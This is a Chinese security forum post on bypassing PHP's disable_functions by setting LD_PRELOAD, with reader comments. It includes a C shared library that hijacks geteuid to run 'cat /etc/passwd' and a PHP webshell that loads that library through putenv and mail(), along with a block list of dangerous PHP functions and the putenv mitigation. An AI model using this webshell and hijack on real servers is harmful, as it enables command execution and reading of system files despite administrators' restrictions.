-
-
[原创]浅谈Bypass disable_function
-
发表于: 2019-10-31 17:38 1089
-
0x01 disable_functions
disable_functions是在/etc/php/7.0/apache2/php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。我们查看phpinfo的时候,会发现有这么一栏:
要更改的话打开php.ini,找到对应的行修改即可,这里修改如下:
修改文件php.ini,重启apache服务,在phpinfo中可以看到已经生效先来看看哪些函数需要放入 disable_functions:- passthru()
危险等级:高
- ######exec()
危险等级:高
- ######system()
- ######chroot()
危险等级:高
- ######chgrp()
危险等级:高
- ######chown()
危险等级:高
- ######shell_exec()
- ######proc_open()
危险等级:高
- proc_get_status()
危险等级:高
- ini_alter()
危险等级:高
- ini_set()
危险等级:高
- ini_restore()
危险等级:高
- dl()
危险等级:高
- pfsockopen()
危险等级:高
- symlink()
危险等级:高
- popen()
危险等级:高
- putenv()
危险等级:高
- phpinfo()
危险等级:中
- scandir()
危险等级:中
- syslog()
危险等级:中
- readlink()
危险等级:中
- stream_socket_server()
危险等级:中
- error_log()
0x02 利用LD_PRELOAD绕过
一、LD_PRELOAD
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过 LD_PRELOAD 来设置它来优先加载我们自己编写的程序,实现劫持。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。简单地说,可注入自己的代码,覆盖原有代码。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。二、程序调用流程图
- LD_PRELOAD替换前
2. LD_PRELOAD替换后
三、演示程序代码
1.主程序
// myverifypasswd.c #include <stdio.h> #include <string.h> #include "mystrcmp.h" void main(int argc,char **argv) { char passwd[] = "password"; if (argc < 2) { printf("usage: %s <password>\n",argv[0]); return; } if (!mystrcmp(passwd,argv[1])) { printf("Correct Password!\n"); return; } printf("Invalid Password!\n"); }
2.调用库
#include <stdio.h> int mystrcmp(const char *s1,const char *s2);
3.生成动态链接库原始C文件
// mystrcmp.c #include <stdio.h> #include <string.h> #include "mystrcmp.h" int mystrcmp(const char *s1,const char *s2) { return strcmp(s1,s2); }
四、程序编译与试验
演示流程图
编译、设置
gcc mystrcmp.c -fPIC -shared -o libmystrcmp.so gcc myverifypasswd.c -L. -lmystrcmp -o myverifypasswd export LD_LIBRARY_PATH=/home/n6/桌面/LD_PRELOAD #指定动态链接库所在目录位置 ldd myverifypasswd #显示、确认依赖关系 ./myverifypasswd
五、替换库代码
// myhack.c #include <stdio.h> #include <string.h> int mystrcmp(const char *s1, const char *s2) { printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2); // always return 0, which means s1 equals to s2--总是相等 return 0; }
六、替换并测试运行
替换流程图
七、实际应用测试
以 sendmail 为例:(没有 sendmail 的话需要安装)使用 readelf -Ws /usr/sbin/sendmail 来看 sendmail 函数都调用了哪些库函数:
从中选取一个合适的库函数进行测试
编制我们自己的动态链接程序 通过 putenv 来设置 LD_PRELOAD,让我们的程序优先被调用 在 webshell 上用 mail 函数发送一封邮件来触发
我们来测试 执行系统命令,选取 geteuid()函数来改造:
//hack.c #include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { system("cat /etc/passwd > list.txt"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
当这个共享库中的 geteuid 被调用时,尝试加载 payload() 函数,执行命令。
在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是 32 位一个是 64 位)把它编译为一个位置信息无关的动态共享库,然后把hack.so上传到服务器,再写入webshell:
//webshell.php <?php putenv("LD_PRELOAD=/var/www/html/hack.so"); mail("H4ck3R.XiX","","","",""); $file_path = "list.txt"; if(file_exists($file_path)){ $file_arr = file($file_path); for($i=0;$i<count($file_arr);$i++){ //逐行读取文件内容 echo $file_arr[$i]."<br />"; fclose($file_arr); } } ?>
结果图:
这种绕过行为实施起来很简单,并且不受PHP与Linux版本的限制,但是也很容易防御,只要禁用相关的函数(putenv)或者限制对环境变量的传递就可以了,但是要注意对现有业务是否造成影响。其实对于这个问题,早在08年就有人向PHP官方反馈过,只不过PHP给出的回复是你最好禁用putenv函数: https://bugs.php.net/bug.php?id=46741 ,所以我们有理由相信在后续的PHP版本中也不会对这个问题有什么针对性的解决方案。
ps: 在下技术有限,对于实际rz中,每次都要在C文件中写入要执行的系统命令,再编译上传属实麻烦,等小弟学好python回来写脚本给各位看官分享。欢迎大佬们点评分享更好的思路,Bypass我会继续研究下去的,
赞赏
|
|
---|---|
|
补充一下http://www.rai4over.cn/2019/03/29/0CTF-2019-Wallbreaker-Easy-WriteUp/
|
|
Rai4over 补充一下http://www.rai4over.cn/2019/03/29/0CTF-2019-Wallbreaker-Easy-WriteUp/Dear Dalao, please daidai wo |
|
github上面的bypass disable_function,基本都是需要putenv,putenv+那些执行命令的函数都disable后,再执行命令就难了
|
|
残废小菜比 github上面的bypass disable_function,基本都是需要putenv,putenv+那些执行命令的函数都disable后,再执行命令就难了GitHub上原理分析到位了?也有不用putenv,利用_attribute_属性,等我之后的相关系列文章 |
|
666,感谢分享!期待相关系列文章!
|
他的文章
看原图
赞赏
雪币:
留言: